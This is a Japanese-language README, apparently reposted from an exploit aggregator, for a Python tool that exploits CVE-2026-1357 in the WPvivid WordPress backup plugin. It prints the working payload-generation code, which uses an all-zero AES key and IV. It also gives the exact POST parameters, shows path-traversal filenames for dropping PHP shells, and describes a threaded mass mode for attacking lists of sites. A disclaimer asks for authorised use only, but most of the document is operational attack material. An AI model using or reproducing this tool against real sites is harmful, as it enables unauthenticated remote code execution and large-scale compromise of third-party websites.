## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2026-1357
# 🧨 CVE-2026-1357 – WPvivid Null-Key エクスプロイトツール (`CVE-2026-1357.py`)
**移行、バックアップ、ステージング – WPvivid Backup & Migration ≤ 0.9.123**
**脆弱性:** 認証なし任意ファイルアップロード → リモートコード実行
**CVE:** `CVE-2026-1357` – **CVSS 9.8(クリティカル)**
**GitHub:** `https://github.com/Nxploited`
**Telegram:** `@KNxploited`
* * *
## 🧬 このスクリプトの機能

`CVE-2026-1357.py` は、WPvivid の脆弱性を利用する **概念実証(PoC)エクスプロイトツール** です。このツールは、攻撃者による以下の操作を可能にする、欠陥のある AES セッション処理に焦点を当てています。
1. WPvivid が期待するのと同じ形式で、**Null-Key AES/IV** (すべてゼロバイト)を使ってペイロードを暗号化する。
2. 任意のファイル内容(例: PHP シェル)と選択したファイル名/パス(`name`)をペイロードに埋め込む。
3. このペイロードを `wpvivid_action=send_to_site` パラメータ経由で WPvivid エンドポイントに送信する。
4. (必要に応じて)ファイルが正常に書き込まれ、アクセス可能かどうかを検証する。
このスクリプトは、秘密鍵を直接推測したり悪用したりする**ことはありません** 。代わりに、`openssl_private_decrypt()` の失敗によって phpseclib の AES 暗号が Null-Key で初期化されるという、WPvivid の壊れた処理フローを再現します。
* * *
## 🧠 技術的な内部動作
### 🔐 AES Null-Key ペイロード
エクスプロイトの核心は `gen_wpvivid_payload()` にあります。
* 以下の JSON 構造を構築します。
root@kitploit:~
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
* この JSON を(スペースなしのコンパクト形式で)シリアライズします。
* 次の設定で JSON を暗号化します。
* `AES-128-CBC`
* `key = b"\x00" * 16`
* `iv = b"\x00" * 16`
* その後、以下を先頭に付加します。
* 3 バイト: `"000"`(固定長フィールドのプレースホルダー)
* 16 バイトの大文字 16 進数: 暗号文の長さを `"{len(cipher):016X}"` としてエンコードした値
* 最終的な暗号化ブロブは次のようになります。
root@kitploit:~
"000" + <16バイトの暗号文長16進数> + <raw AES-CBC暗号文>
* このブロブは Base64 エンコードされ、最終的な `wpvivid_content` 値として返されます。
関数:
root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
これは、RSA 復号失敗後に脆弱なコード経路で WPvivid が期待する復号仕様と一致します。
* * *
## 🧰 機能とモード
このスクリプトには **2つの主要モード** に加え、一括テスト機能があります。
1. `mood1` – **ペイロード生成器**
* Null-Key の仕組みを使った有効な `wpvivid_content` 値を生成します。
* ファイル内容を定義する複数の方法に対応しています。
* ターゲットリストに対して **一括テスト** (Mass Tester)を起動することもできます。
2. `mood2` – **単一ターゲットテスト**
* 事前に生成したペイロードを使用します。
* **単一の** ターゲットをエンドツーエンドでテストします。
* ペイロードを送信します。
* 想定される結果ファイルの URL を構築します。
* ファイルにアクセスできるかどうかを検証します。
3. **マスモード** (`mood1` から起動)
* 選択したペイロードをリストファイル内の **複数のターゲット** に送信します。
* 並行処理とプログレスバーを使用します。
* 成功したアップロードを追跡・記録します。
* * *
## 🚦 スクリプトの実行
root@kitploit:~
python3 CVE-2026-1357.py
**Rich ベースの UI** がバナーとモード選択とともに表示されます。
* `mood1` – ペイロード生成器
* `mood2` – 単一ターゲットテスト
* * *
## 🧪 モード: mood1 – ペイロード生成器
### 目的
* 以下の情報をエンコードしたエクスプロイトペイロード(`wpvivid_content`)を作成します。
* WPvivid に書き込ませたい **ファイルパス/名前**
* **ファイル内容** (シェル、テストファイルなど)
### フロー
1. **モード選択**
プロンプトが表示されたら:
root@kitploit:~
Choose mode (mood1/mood2) [mood1]:
`Enter` キーを押すか(`mood1` がデフォルト)、`mood1` と入力します。
2. **ターゲットのファイル名 / パス**
次のように求められます。
root@kitploit:~
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
例:
* WPvivid バックアップディレクトリにファイルを配置する場合:
root@kitploit:~
Nx_.php
* ディレクトリトラバーサルを悪用する場合(ターゲットが許可していれば):
root@kitploit:~
../../public_html/Nx_.php
この値は JSON ペイロードの `name` フィールドに入ります。
3. **内容入力モード**
スクリプトはファイル内容を定義する3つの方法を表示します。
* **モード 1** : 単一行の内容
* **モード 2** : 複数行の内容(`EOF` で終了)
* **モード 3** : ローカルファイルから読み込み(例: `shell.php`)
次のように求められます。
### オプション: mood1 からのマスモード
ペイロード生成後、スクリプトは次のように尋ねます。
root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):
`y` と答えると、作成したペイロードとファイル名を使った **マスモード** が開始されます。
* * *
## 🌐 マスモード – 複数ターゲット
### 目的
* **単一のエクスプロイトペイロード** を **ターゲットリスト** に対してテストします。
### フロー
1. **ターゲットファイル**
プロンプト例:
root@kitploit:~
Targets list file (one URL per line):
ファイルの期待される形式(例: `targets.txt`):
root@kitploit:~
https://site1.com
site2.com
http://site3.net
スクリプトはベース URL を自動的に正規化します(スキームがない場合は追加します)。
2. **スレッド数**
root@kitploit:~
Threads (concurrent sites) [5]:
並列処理するサイト数を制御します。
3. **ターゲットごとのロジック**
各ターゲットについて:
* URL を正規化 → `base_url`
* 呼び出し:
root@kitploit:~
send_wpvivid_payload(base_url, payload)
この関数は:
* `wpvivid_action=send_to_site` \+ `wpvivid_content=<payload>` の POST を構築します。
* 調整済みコネクションプール設定の新しいセッションで送信します。
* レスポンスに `{"result":"success"}`(コンパクト形式)が含まれるかどうかを確認します。
* アップロードが成功したと判断された場合:
* `shell_url` を次のように構築します。
* * *
## 🧪 モード: mood2 – 単一ターゲットテスト
### 目的
* 既存のペイロード(`wpvivid_payload.txt` または外部ソースから)を **単一の URL** に対して使用し、結果のファイルを検証します。
### フロー
1. **ターゲット URL**
プロンプト:
root@kitploit:~
Target base URL (e.g., https://site.com):
例:
root@kitploit:~
https://victim.com
スクリプトはこれを次のようなベースに正規化します。
root@kitploit:~
https://victim.com
2. **ファイル名**
プロンプト:
root@kitploit:~
Expected file name (e.g., Nx_.php):
これは、WPvivid が書き込むと **予想される** 名前/パスです(ペイロードの `name` フィールドにエンコードしたものと一致させます)。
3. **ペイロード入力**
プロンプト:
root@kitploit:~
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
* `wpvivid_content=...` で始まる行全体を貼り付けた場合、プレフィックスを除去します。
* Base64 のみを貼り付けた場合、そのまま使用します。
4. **実行**
スクリプトは:
* `wpvivid_action=send_to_site` \+ 入力した `wpvivid_content` で POST を送信します。
* レスポンスが成功を示している場合、次のように構築します。
このモードは、ペイロードを細かく制御しながら **単一サイトの手動/ラボテスト** を行うのに最適です。
* * *
## 📁 出力ファイル
* **`wpvivid_payload.txt`**
* `mood1` で書き込まれます。
* 以下を保存します。
* `file_name=<選択したファイル名>`
* `wpvivid_content=<ペイロード>`
* **`Nx_.txt`**
* `mood1`(マスモード)と `mood2` で書き込まれます。
* アップロードが成功したと見られる **成功したファイルの URL を1行に1つ** 含みます(検証済みの場合もあります)。
* * *
## ⚠️ 免責事項
このツールは、**以下の目的のみ** を意図しています。
* 管理された環境でのセキュリティ研究。
* **自分が所有している** 、または **明示的な書面による許可を得ている** システムのテスト。
* CVE-2026-1357 に対する是正策と検知策の検証。
このスクリプトを使用することで、以下に同意したものとみなされます。
* 適用されるすべての法律を遵守する責任があること。
* 適切な許可なしにシステムで使用しないこと。
* 作者(Nxploited)は、このツールの使用から生じる誤用、損害、法的問題、またはインシデントについて **一切の責任を負わない** こと。
**自己責任で** 、そして **正当なセキュリティテストのためだけに** 使用してください。
* * *
## ✍️ 作者と連絡先
* **作成者:** `Nxploited`(Khaled Alenazi)
* **GitHub:** `https://github.com/Nxploited`
* **Telegram:** `@KNxploited`
アップデート、ツール、セキュリティ研究コンテンツについては、Telegram チャンネルをフォローしてください。
👉 **`@KNxploited`**